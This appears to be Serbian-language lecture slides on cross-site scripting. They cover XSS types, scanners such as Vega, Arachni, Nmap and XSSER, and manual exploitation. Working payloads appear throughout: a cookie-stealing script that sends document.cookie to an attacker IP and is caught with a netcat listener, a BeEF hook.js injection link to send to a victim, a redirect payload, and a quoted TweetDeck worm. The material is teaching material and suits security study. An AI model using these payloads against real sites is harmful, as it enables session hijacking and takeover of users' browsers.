XSS - Cross Site Scripting

Definicija i tipovi

- XSS je sigurnosni propust u veb aplikacijama koji dozvoljava napadaču da injektuje malicioznu klijentsku skriptu u veb stranicu koja je kasnije dostupna drugim korisnicma.
- Najčešći sigurnosni propust u veb aplikacijama
- Tipovi:
- Snimljeni XSS (Persistent/Stored XSS)
- Reflektujući XSS (Reflected XSS)
- Serverski i DOM-bazirani XSS (Server and DOM-based XSS)

Snimljeni XSS

- Najopasnija vrsta XSS
- Maliciozni kod ostaje na serveru
- Zastupljen na forumima i sajtovima koji dozvoljavaju korisnicma da postavljaju html formatirane podatke
- Ili napadač može da izmeni html kod stranice

Reflektujući XSS

- Više zastupljen
- Često se nalazi u HTML formama
- Najčešće se koristi sa url-om koji ima XSS napad lociran unutar linka

Primeri

- Generiše upozorenje
- `http...index.php?NAME=Guest<script>alert('XSS')</script>`
- Poslati kolačiće napadaču
- ```
  <script>new
  Image().src="http://ip_adresa_napadaca/b.php?"+document.cookie;
  </script>
  ```
- Poziv skripte sa drugog sajta
  - ```
    <script>document.write('<script src=http://primer.com/xss.js>
    </script>')</script>
    ```

Zašto je opasan XSS

- Ad-Jacking, Click-Jacking, Session Hijacking, Content spoofing, Credential harvesting, Forced downloads,Crypto mining, taking pictures, geo-location, Stealing HTML5 web storage data, Browser & System Fingerprinting, Network Scanning, Crashing browsers, Stealing information, Tab napping Capturing scrensnots, Preform actions ...

Tviter 2014


*andy
@derGeruhn
Follow
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
Reply
Retweet
Favorite
More
RETWEETS
39,868
FAVORITES
3,686
9:36 AM - 11 Jun 2014

Kolačići

- Kolačići su male tekstualne datoteke koje čuva pretraživač na vašem računaru ili mobilnom telefonu
- Oni omogućavaju sajtovima čuvanje informacija o podešavanjima
- Možete zamisliti kolačić kao privremenu memoriju za sajt pomoću kojeg vas prepozna kada se vratite i adekvatno reaguje.

Otkrivanje

- Manuelno
- Alati za oktrivanje XSS:
- Vega
- Arachni
- Nmap
- XSSER

Manuelno

- Najbolji način je unošenjem komande:
- `<script>alert("1")</script>`
- primer:
- `http://primer.com/index.php?user=<script>alert("1")</script>`
- Testiranje za krađu kolačića
  - `<script>alert("cookie" + document.cookie)</script>`

Vega

- Postoji već u Kali linuksu
- Applications -> Web applications analysis
- Demo
- Request -> Response -> označeni deo

Arachni

- Postoji u Kali linuksu
- arachni-scanner.com
- Demo
- arachni/bin/arachni_web
- localhost:9292
- Mail: admin@admin.admin Password: administrator

Nmap

- Postoji već u Kali linuksu
- nmap -p80 --script http-stored-xss.nse target
  - postavlja specijalne stringove u svaku formu koju otkrije
  - --script-args=httpspider.maxpagecount=200
  - još skripti:
    - http-dombased-xss
      - http-phpself-xss

XSSER

- Već postoji u Kali linuksu
- XSSER -c100 --Cw=4 -u traget_ip
- -c = broj stranica
- --cw = dubina
- -u = url
- Fail demo

DSXS - Damn Small XSS Scanner

- `python dsxs.py -u "http://example.com/example2.php?name=test`

Uporedni test

- Alat: Detektovani primeri (ukupno 9)
- Vega: primer 1 - primer 7
- Arachni: primer 1 - primer 7
- Nmap: primer 8, primer 9
- DSXS: primer1 - primer 7
- ZAP: primer 1, primer 6, primer 7

Manuelna ekspolatacija XSS

Redirekcija na maliciozni sajt

```
<img src = "http://example.com"onerror=window.open("http://google.com","xss",
'height=500,width=500');>
```

- redirecting...

Manuelna ekspolatacija XSS

Krađa kolačića

Manuelna ekspolatacija XSS

Krađa kolačića

- ```
  <script>new
  Image().src="http://192.168.1.8:80/b.php?"+document.cookie;
  </script>
  ```
- netcat -lvp 80
- l - slušaj (listen)
- v - budi pričljiv, ištampaj sve primljene informacije (be verbose)
- p - koristi sledeći port
  ```

Eksploatacija sa BEEF-om

- Četiri koraka:

1. Napisati maliciozni kod
2. Napraviti URL
3. Poslati URL žrtvi

BEEF

- Kali -> Applications -> Exploitation tools
- http://localhost:3000/ui/authentication
- username: admin
- password: admin

Pravljenje koda

- `<script src=http://ip_napadaca:3000/hook.js></script>`
- može se naći na početnoj strani beef-a
- Dostavljanje koda putem linka ili vulnerabilnog polja
  - ```
    http://example.com/search.asp?query=<script
    src=http://ip_napadaca:3000/hook.js></script>
    ```
    ```

Preuzimanje brauzera računara u lokalnoj mrezi

- http://ip_napadaca:3000/demos/butcher/index.html
- Details, logs, commands